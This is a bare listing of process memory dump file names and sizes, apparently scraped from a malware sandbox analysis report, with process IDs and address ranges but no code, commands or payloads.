memory/324-80-0x0000000000400000-0x0000000000615000-memory.dmpFilesize
2.1MB
-
memory/324-77-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/324-76-0x0000000077160000-0x0000000077309000-memory.dmpFilesize
1.7MB
-
memory/324-68-0x000000000030768E-mapping.dmp
-
memory/1636-71-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/1636-60-0x0000000074DC1000-0x0000000074DC3000-memory.dmpFilesize
8KB
-
memory/1636-87-0x0000000005BE0000-0x0000000009055000-memory.dmpFilesize
52.5MB
-
memory/1636-69-0x0000000077160000-0x0000000077309000-memory.dmpFilesize
1.7MB
-
memory/1636-65-0x00000000731A0000-0x000000007374B000-memory.dmpFilesize
5.7MB
-
memory/1636-64-0x0000000005BE0000-0x0000000009055000-memory.dmpFilesize
52.5MB
-
memory/1636-63-0x00000000731A0000-0x000000007374B000-memory.dmpFilesize
5.7MB
-
memory/1636-88-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/1636-85-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/1636-70-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/1636-59-0x0000000000000000-mapping.dmp
-
memory/1636-84-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/1724-54-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmpFilesize
8KB
-
memory/1840-61-0x00000000028A4000-0x00000000028A7000-memory.dmpFilesize
12KB
-
memory/1840-58-0x000007FEF34A0000-0x000007FEF3FFD000-memory.dmpFilesize
11.4MB
-
memory/1840-62-0x00000000028AB000-0x00000000028CA000-memory.dmpFilesize
124KB
-
memory/1840-89-0x00000000028AB000-0x00000000028CA000-memory.dmpFilesize
124KB
-
memory/1840-57-0x000007FEF4000000-0x000007FEF4A23000-memory.dmpFilesize
10.1MB
-
memory/1840-55-0x0000000000000000-mapping.dmp